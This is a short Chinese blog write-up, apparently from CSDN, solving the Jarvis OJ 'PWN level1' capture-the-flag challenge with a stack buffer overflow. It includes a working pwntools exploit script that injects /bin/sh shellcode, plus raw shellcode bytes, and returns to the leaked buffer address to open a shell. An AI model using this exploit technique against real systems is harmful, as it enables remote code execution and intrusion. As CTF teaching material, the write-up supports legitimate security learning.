Jarvis OJ PWN level1

先看一下保护:
在这里插入图片描述
没开保护。
主函数中没写啥东西。。。
在这里插入图片描述
接着打开主函数中调用的function,
在这里插入图片描述
很明显的一个栈溢出漏洞
发现printf函数直接将我们输入的buf给打印出来了且没有检查输入,而且也没有发现有获得flag和拿shell的操作,再加上什么保护都没开,那么思路就有了:
利用栈溢出漏洞将shellcode写入buf中,并使返回地址返回到buf的首地址(这里因为没有开NX保护所以栈中数据有执行权限)。
我们在本地测试的时候发现他会给你打印出你输入的局部变量的首地址所以我们就可以利用这一点来写脚本了。
exp.py:

from pwn import *
p = remote('pwn2.jarvisoj.com',9877)
#sc = "\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
shellcode = asm(shellcraft.i386.sh())
buf_addr = int(p.recv()[14:-2],16)
pay = shellcode + 'a'*(0x8c-len(shellcode)) + p32(buf_addr)
p.sendline(pay)
p.interactive()
发布了14 篇原创文章 · 获赞 6 · 访问量 2433

猜你喜欢

转载自blog.csdn.net/qq_43409582/article/details/100779010